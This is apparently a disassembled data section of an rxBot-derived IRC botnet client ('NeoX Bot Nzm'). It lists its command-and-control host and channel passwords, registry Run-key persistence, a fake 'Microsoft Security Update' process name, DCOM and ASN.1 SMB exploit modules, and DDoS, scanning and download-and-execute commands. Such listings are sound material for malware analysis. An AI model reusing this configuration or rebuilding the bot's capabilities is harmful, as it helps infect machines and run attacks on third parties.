off_421914 dd offset aSoftwareMicros ; DATA XREF: sub_40954C+2Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 421D74h, 80000001h, 421DACh ; char unk_421928 unk_421928 db 2 ; DATA XREF: sub_4095D3+94o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 10h ; char unk_421960 unk_421960 db 2 ; DATA XREF: sub_4095D3+217o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 ; char unk_4219A8 unk_4219A8 db 2 ; DATA XREF: sub_4095D3+246o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 ; char unk_4219E8 unk_4219E8 db 2 ; DATA XREF: sub_4095D3+29Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 ; char unk_421A2C unk_421A2C db 2 ; DATA XREF: sub_4095D3+37Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 aOpen db 'open',0 ; DATA XREF: sub_4095D3+3D8o align 4 ; char dword_421A7C dword_421A7C dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_4095D3+3F2o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h ; char unk_421AA8 unk_421AA8 db 2 ; DATA XREF: sub_4095D3+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 ; char unk_421AF8 unk_421AF8 db 2 ; DATA XREF: sub_4095D3+561o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 ; char unk_421B40 unk_421B40 db 2 ; DATA XREF: sub_4095D3+5B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 dword_421B7C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_421BC8 dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_421BE4 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_409D82+1C5o dword_421BF8 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_409D82+20Co aNotice db 'NOTICE',0 ; DATA XREF: sub_40A08D+10o align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40A08D:loc_40A0A6o ; char aS_0[] aS_0 db '%s',0 ; DATA XREF: sub_40A08D+47o align 10h ; char aSSS[] aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40A08D+6Eo align 10h dword_421C30 dd 7B9h ; WinMain(x,x,x,x)+57Br dword_421C34 dd 7B9h word_421C38 dw 45h ; DATA XREF: sub_404F31+3Cr align 4 dword_421C3C dd 1 dword_421C40 dd 1 ; WinMain(x,x,x,x):loc_40A533r byte_421C44 db 23h ; DATA XREF: sub_409BF2+21r ; sub_40ABFE+BBDr ... align 4 dword_421C48 dd 6 ; sub_40F9B6+1Dr ... ; int dword_421C4C dword_421C4C dd 1 ; sub_40ABFE+3E0r ... aDcom135_1 db 'dcom135',0 ; DATA XREF: sub_40ABFE+2A44o db 2 dup(0) byte_421C5A db 1 ; DATA XREF: sub_40ABFE+28C3r ; sub_40ABFE+28EFr aAsn1smbnt_1 db 'asn1smbnt',0 db 1, 2 dup(0) dd 3 dup(0) ; char aNeox[] aNeox db 'NeoX',0 ; DATA XREF: WinMain(x,x,x,x)+79o ; sub_40ABFE:loc_40C88Fo ... align 4 aNeoxBotNzmM0dd db 'NeoX Bot Nzm M0dded on Rx v3.2',0 ; DATA XREF: sub_40ABFE:loc_40C2BCo align 4 ; char aNhg_1[] aNhg_1 db 'nhg',0 ; DATA XREF: sub_40ABFE+C7Fo ; sub_40ABFE+E28o ; char Source[] Source db 'neo12.cjb.net',0 ; DATA XREF: WinMain(x,x,x,x)+46Ao ; WinMain(x,x,x,x)+569o align 10h ; char aNhg[] aNhg db '#!nhg!#',0 ; DATA XREF: WinMain(x,x,x,x)+488o ; WinMain(x,x,x,x)+587o ; char aAsdasd[] aAsdasd db 'asdasd',0 ; DATA XREF: WinMain(x,x,x,x)+49Co ; WinMain(x,x,x,x)+59Bo align 10h ; char String2[] String2 db 'Nrzi.exe',0 ; DATA XREF: sub_4011CD+30o ; .text:004029E1o ... align 4 aMicrosoftSecur db 'Microsoft Security Update Process',0 ; DATA XREF: sub_40954C+5Co ; sub_40954C:loc_4095B8o align 10h aBot db '[BoT]-',0 ; DATA XREF: sub_40F94E+11o align 4 aNrzz32_exe db 'Nrzz32.exe',0 align 4 aIupX db '+iup-x',0 ; DATA XREF: sub_40ABFE+331o align 4 ; char aExp_1[] aExp_1 db '#!exp!#',0 ; DATA XREF: sub_40ABFE+2C03o ; sub_40ABFE+2C13o ... aExp db '#!exp!#',0 ; DATA XREF: .text:00403A2Co aExp_0 db '#!exp!#',0 ; DATA XREF: sub_405D52+245o ; sub_405D52+35Do ... dword_421D24 dd 1 ; sub_40A776+151r ... dword_421D28 dd 1Eh dword_421D2C dd 1 ; sub_40ABFE:loc_40D0F0w ... dword_421D30 dd 3Ch dword_421D34 dd 1 dword_421D38 dd 1 off_421D3C dd offset a@nhg_gov ; DATA XREF: sub_40ABFE+D31r ; "*@nhg.gov" off_421D40 dd offset aRofferV1_2b242 ; DATA XREF: sub_40ABFE+A9Er ; sub_40ABFE+AB1r ; "roffer v1.2b24 [20031215140650], http:/"... aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .data:off_421914o align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicr_1 db 'Software\Microsoft\Mcwin',0 align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Nitt',0 align 10h dword_421DF0 dd 10h ; .text:0040908Cw ... a@nhg_gov db '*@nhg.gov',0 ; DATA XREF: .data:off_421D3Co align 10h aRofferV1_2b242 db 'roffer v1.2b24 [20031215140650], http://iroffer.org/',0 ; DATA XREF: .data:off_421D40o align 4 ; char aSS[] aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+155o align 10h ; char aSS_0[] aSS_0 db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+1E8o align 4 ; char aSDS[] aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+319o align 4 ; char dword_421E54 dword_421E54 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: WinMain(x,x,x,x):loc_40A552o dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h ; char dword_421E7C[] dword_421E7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40A776+145o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 ; char a_n_z_m_Botkill[] a_n_z_m_Botkill db '.n.z.m. (botkiller.p.l.g) .. Botkiller.',0 ; DATA XREF: sub_40A776+175o align 4 ; char aPassS[] aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40A9EB+53o align 10h ; char aNickSUserS00S[] aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40A9EB+7Do db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 ; char SubStr[] SubStr db ' :',0 ; DATA XREF: sub_40ABFE+9Ao align 10h ; char Delim[] Delim: ; DATA XREF: sub_40ABFE+CEo unicode 0, < >,0 ; char asc_421F04[] asc_421F04: ; DATA XREF: sub_40ABFE+109o unicode 0, < >,0 ; char asc_421F08[] asc_421F08: ; DATA XREF: sub_40ABFE+283o unicode 0, <!>,0 ; char Str1[] Str1 db 'PING',0 ; DATA XREF: sub_40ABFE+29Co align 4 ; char aPongS[] aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+2BCo align 10h ; char aJoinSS[] aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+2DAo align 10h ; char a001[] a001 db '001',0 ; DATA XREF: sub_40ABFE+2F8o ; char a005[] a005 db '005',0 ; DATA XREF: sub_40ABFE+30Eo ; char aUserhostS[] aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+321o align 4 ; char aModeSS[] aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+339o align 4 ; char aJoinSS_0[] aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+34Fo align 4 ; char a302[] a302 db '302',0 ; DATA XREF: sub_40ABFE+377o ; char a[] a@: ; DATA XREF: sub_40ABFE+387o unicode 0, <@>,0 ; char a433[] a433 db '433',0 ; DATA XREF: sub_40ABFE+3CEo ; char aNickS[] aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+3F4o align 10h ; char aKick[] aKick db 'KICK',0 ; DATA XREF: sub_40ABFE+45Eo align 4 ; char dword_421F88 dword_421F88 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+516o dd 2BBBB02h aUserSLoggedOut db ' User %s logged out.',0 align 4 ; char aNoticeSS[] aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+537o ; char aJoinSS_1[] aJoinSS_1 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+579o align 4 ; char aNick[] aNick db 'NICK',0 ; DATA XREF: sub_40ABFE+597o align 10h ; char aSS_7[] aSS_7 db ':%s%s',0 ; DATA XREF: sub_40ABFE+775o align 4 ; char aPart[] aPart db 'PART',0 ; DATA XREF: sub_40ABFE+7BFo align 10h ; char aQuit_0[] aQuit_0 db 'QUIT',0 ; DATA XREF: sub_40ABFE+7D5o align 4 ; char dword_421FF8 dword_421FF8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+85Bo dd 2BBBB02h aUserSLoggedO_0 db ' User: %s logged out.',0 align 4 ; char aPart_0[] aPart_0 db 'PART',0 ; DATA XREF: sub_40ABFE+882o align 10h ; char aNoticeSS_0[] aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+8A1o ; char a353[] a353 db '353',0 ; DATA XREF: sub_40ABFE+8C4o ; char dword_422044[] dword_422044 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+8F7o dd 2BBBB02h aJoinedChannelS db ' Joined channel: %s.',0 align 4 ; char aPrivmsg_0[] aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_40ABFE+911o ; char aNotice_0[] aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_40ABFE+927o align 4 ; char a332[] a332 db '332',0 ; DATA XREF: sub_40ABFE+93Do ; char aPrivmsg_1[] aPrivmsg_1 db 'PRIVMSG',0 ; DATA XREF: sub_40ABFE+964o ; char aNotice_1[] aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_40ABFE+97Ao align 4 ; char aNotice_2[] aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_40ABFE+994o align 10h ; char asc_4220A0[] asc_4220A0: ; DATA XREF: sub_40ABFE:loc_40B5BDo unicode 0, <#>,0 ; char dword_4220A4 dword_4220A4 dd 52455601h, 4E4F4953h, 1; char dword_4220B0[] dword_4220B0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40ABFE+ABEo dd 0D017325h, 0Ah ; char aSHasJustVersio[] aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40ABFE+AD5o align 4 ; char dword_4220E8 dword_4220E8 dd 4E495001h, 47h; char dword_4220F0[] dword_4220F0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40ABFE+B70o dd 0A0Dh ; char asc_422108[] asc_422108 db '!',0 ; DATA XREF: sub_40ABFE:loc_40B82Bo align 4 ; char asc_42210C[] asc_42210C db '~',0 ; DATA XREF: sub_40ABFE+C5Ao align 10h ; char aNoticeSNiceTry[] aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+CA3o align 4 ; char aNoticeSYouVeBe[] aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+CBAo align 4 ; char dword_42215C dword_42215C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+CD6o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 ; char aNoticeSNiceT_0[] aNoticeSNiceT_0 db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+D6Eo align 10h ; char aNoticeSYouVe_0[] aNoticeSYouVe_0 db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+D85o align 4 ; char dword_4221E4 dword_4221E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+DA1o dd 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 10h dword_422220 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+E66o dd 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 10h ; char dword_422250[] dword_422250 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+E83o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h ; char a332_2[] a332_2 db '332',0 ; DATA XREF: sub_40ABFE+EADo ; char asc_422284[] asc_422284 db ' :',0 ; DATA XREF: sub_40ABFE+F21o align 4 ; char aD[] aD db '$%d-',0 ; DATA XREF: sub_40ABFE+FBAo align 10h ; char aD_0[] aD_0 db '$%d',0 ; DATA XREF: sub_40ABFE+10F0o ; char aMe_0[] aMe_0 db '$me',0 ; DATA XREF: sub_40ABFE+1195o ; char aUser_0[] aUser_0 db '$user',0 ; DATA XREF: sub_40ABFE+11ACo align 10h ; char aChan[] aChan db '$chan',0 ; DATA XREF: sub_40ABFE+11C2o align 4 ; char aRndnick[] aRndnick db '$rndnick',0 ; DATA XREF: sub_40ABFE+11E6o align 4 ; char aServer[] aServer db '$server',0 ; DATA XREF: sub_40ABFE+11F9o ; char aChr[] aChr db '$chr(',0 ; DATA XREF: sub_40ABFE:loc_40BE07o align 4 ; char aChr_0[] aChr_0 db '$chr(',0 ; DATA XREF: sub_40ABFE+1220o align 4 ; char asc_4222CC[] asc_4222CC: ; DATA XREF: sub_40ABFE+1250o unicode 0, <)>,0 ; char a63[] a63 db '63',0 ; DATA XREF: sub_40ABFE+127Do align 4 ; char asc_4222D4[] asc_4222D4: ; DATA XREF: sub_40ABFE+1367o unicode 0, < >,0 ; char asc_4222D8[] asc_4222D8: ; DATA XREF: sub_40ABFE+13A2o unicode 0, < >,0 ; char aIrc_rndnick[] aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40ABFE+1401o ; char aRn[] aRn db 'rn',0 ; DATA XREF: sub_40ABFE+141Eo align 4 ; char aNickS_0[] aNickS_0 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+1451o align 4 ; char dword_4222F8[] dword_4222F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1465o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 ; char aIrc_die[] aIrc_die db 'irc.die',0 ; DATA XREF: sub_40ABFE+1486o ; char aIrc_di[] aIrc_di db 'irc.di',0 ; DATA XREF: sub_40ABFE+14A3o align 4 ; char a332_0[] a332_0 db '332',0 ; DATA XREF: sub_40ABFE+14B9o ; char aIrc_logout[] aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40ABFE+14E8o align 4 ; char aLo[] aLo db 'lo',0 ; DATA XREF: sub_40ABFE+1505o align 10h ; char dword_422350 dword_422350 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+157Do dd 2BBBB02h aUserSLoggedO_1 db ' User %s logged out.',0 align 10h ; char dword_422380 dword_422380 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+15A9o dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 ; char dword_4223BC dword_4223BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+15C5o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 ; char dword_4223F8 dword_4223F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1631o dd 2BBBB02h aUserSLoggedO_2 db ' User %s logged out.',0 align 4 ; char aIrc_version[] aIrc_version db 'irc.version',0 ; DATA XREF: sub_40ABFE+1691o ; char aVer[] aVer db 'ver',0 ; DATA XREF: sub_40ABFE+16AEo ; char dword_422438 dword_422438 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+16C3o dd 2BBBB02h, 73252020h, 0 ; char aLog_off[] aLog_off db 'log.off',0 ; DATA XREF: sub_40ABFE+171Fo aLogList db 'Log list',0 ; DATA XREF: sub_40ABFE+173Eo align 4 dword_42246C dd 6F026C02h, 2E1F671Fh, 2Eh; char aDdos_off[] aDdos_off db 'ddos.off',0 ; DATA XREF: sub_40ABFE+1777o align 4 aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_40ABFE+1796o align 10h dword_422490 dd 64026402h, 1F731F6Fh, 2E2Eh; char aDdos_udp_off[] aDdos_udp_off db 'ddos.udp.off',0 ; DATA XREF: sub_40ABFE+17CFo align 4 aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_40ABFE+17EEo align 4 dword_4224B8 dd 64027502h, 2E1F701Fh, 2Eh; char aDaemon_tftp_of[] aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40ABFE+1827o aServer_0 db 'Server',0 ; DATA XREF: sub_40ABFE+1846o align 4 dword_4224DC dd 66027402h, 641F7074h, 2E2E1Fh; char aCom_procs_off[] aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40ABFE+187Fo align 4 ; char aCom_ps_off[] aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40ABFE+189Co align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_40ABFE+18BBo align 4 dword_422514 dd 72027002h, 1F631F6Fh, 2E2Eh; char aBotkiller_off[] aBotkiller_off db 'botkiller.off',0 ; DATA XREF: sub_40ABFE+18F4o align 10h ; char aBk_off[] aBk_off db 'bk.off',0 ; DATA XREF: sub_40ABFE+1911o align 4 aBotkiller db 'Botkiller',0 ; DATA XREF: sub_40ABFE+1930o align 4 aBotkiller_0 db 'BOTKILLER',0 ; DATA XREF: sub_40ABFE+1935o align 10h ; char aLockdown_stop[] aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40ABFE+1969o align 10h aSecure db 'Secure',0 ; DATA XREF: sub_40ABFE+1988o align 4 dword_422568 dd 65027302h, 1F727563h, 2E2E1F65h, 0; char aScanstop[] aScanstop db 'scanstop',0 ; DATA XREF: sub_40ABFE+19C1o align 4 aScan db 'Scan',0 ; DATA XREF: sub_40ABFE+19E0o align 4 aScan_0 db '[SCAN]',0 ; DATA XREF: sub_40ABFE+19E5o align 4 ; char aStats[] aStats db 'stats',0 ; DATA XREF: sub_40ABFE+1A19o align 4 ; char aSt[] aSt db 'st',0 ; DATA XREF: sub_40ABFE+1A36o align 10h ; char aIrc_reconnect[] aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40ABFE+1A72o align 10h ; char aIrc_r[] aIrc_r db 'irc.r',0 ; DATA XREF: sub_40ABFE+1A8Fo align 4 ; char aQuitReconnecti[] aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE:loc_40C69Do align 10h dword_4225D0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1AAEo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh ; char aIrc_disconnect[] aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40ABFE+1ACDo align 4 ; char aIrc_d[] aIrc_d db 'irc.d',0 ; DATA XREF: sub_40ABFE+1AEAo align 10h ; char aQuitDisconnect[] aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE:loc_40C6F8o align 4 dword_422628 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1B09o dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 ; char aIrc_quit[] aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40ABFE+1B29o align 10h ; char aIrc_q[] aIrc_q db 'irc.q',0 ; DATA XREF: sub_40ABFE+1B46o align 4 ; char aQuitS[] aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+1B9Eo align 4 ; char aQuitLater[] aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE:loc_40C7AEo align 4 ; char aIrc_status[] aIrc_status db 'irc.status',0 ; DATA XREF: sub_40ABFE+1BD4o align 10h ; char aIrc_s[] aIrc_s db 'irc.s',0 ; DATA XREF: sub_40ABFE+1BF1o align 4 ; char dword_422698 dword_422698 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1C0Eo dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 ; char aIrc_id[] aIrc_id db 'irc.id',0 ; DATA XREF: sub_40ABFE+1C64o align 4 ; char aIrc_i[] aIrc_i db 'irc.i',0 ; DATA XREF: sub_40ABFE+1C81o align 4 ; char dword_4226E4 dword_4226E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1C96o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh ; char aCom_rebewt[] aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40ABFE+1CECo align 4 dword_422718 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1D05o dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 dword_422744 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE:loc_40C90Fo dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 ; char aThreads_list[] aThreads_list db 'threads.list',0 ; DATA XREF: sub_40ABFE+1D71o align 4 ; char aThreads_l[] aThreads_l db 'threads.l',0 ; DATA XREF: sub_40ABFE+1D8Eo align 4 ; char aSub[] aSub db 'sub',0 ; DATA XREF: sub_40ABFE+1DEAo ; char dword_422798 dword_422798 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40ABFE+1E23o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h ; char dword_4227C4 dword_4227C4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40ABFE+1EB1o dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 ; char aIrc_aliases[] aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40ABFE+1EE7o ; char aIrc_al[] aIrc_al db 'irc.al',0 ; DATA XREF: sub_40ABFE+1F04o align 10h dword_422820 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+1F2Bo dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh ; char aIrc_log[] aIrc_log db 'irc.log',0 ; DATA XREF: sub_40ABFE+1F4Bo ; char aIrc_lg[] aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40ABFE+1F68o align 4 ; char aS_1[] aS_1 db '%s',0 ; DATA XREF: sub_40ABFE+1FCBo align 4 ; char dword_42285C dword_42285C dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+201Co dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h ; char dword_422884[] dword_422884 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+20AAo dd 2BBBB02h aFailedToStar_0 db ' Failed to start listing thread, error: <%d>.',0 align 4 ; char aUtil_clearlog[] aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40ABFE+20CBo align 4 ; char aUtil_clg[] aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40ABFE+20E8o align 4 ; char aCom_netinfo[] aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40ABFE+2127o ; char aCom_ni[] aCom_ni db 'com.ni',0 ; DATA XREF: sub_40ABFE+2144o align 4 dword_4228FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+2183o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h ; char aCom_sysinfo[] aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40ABFE+21A3o ; char aCom_si[] aCom_si db 'com.si',0 ; DATA XREF: sub_40ABFE+21C0o align 4 dword_422938 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+21FBo dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_422960 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+2239o dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh ; char aCom_procs[] aCom_procs db 'com.procs',0 ; DATA XREF: sub_40ABFE+2278o align 4 ; char aCom_ps[] aCom_ps db 'com.ps',0 ; DATA XREF: sub_40ABFE+2295o align 4 a_n_z_m_Process db '.n.z.m. (processes.p.l.g) .. Already running.',0 ; DATA XREF: sub_40ABFE+22C3o align 10h ; char aFull[] aFull db 'full',0 ; DATA XREF: sub_40ABFE+233Ao align 4 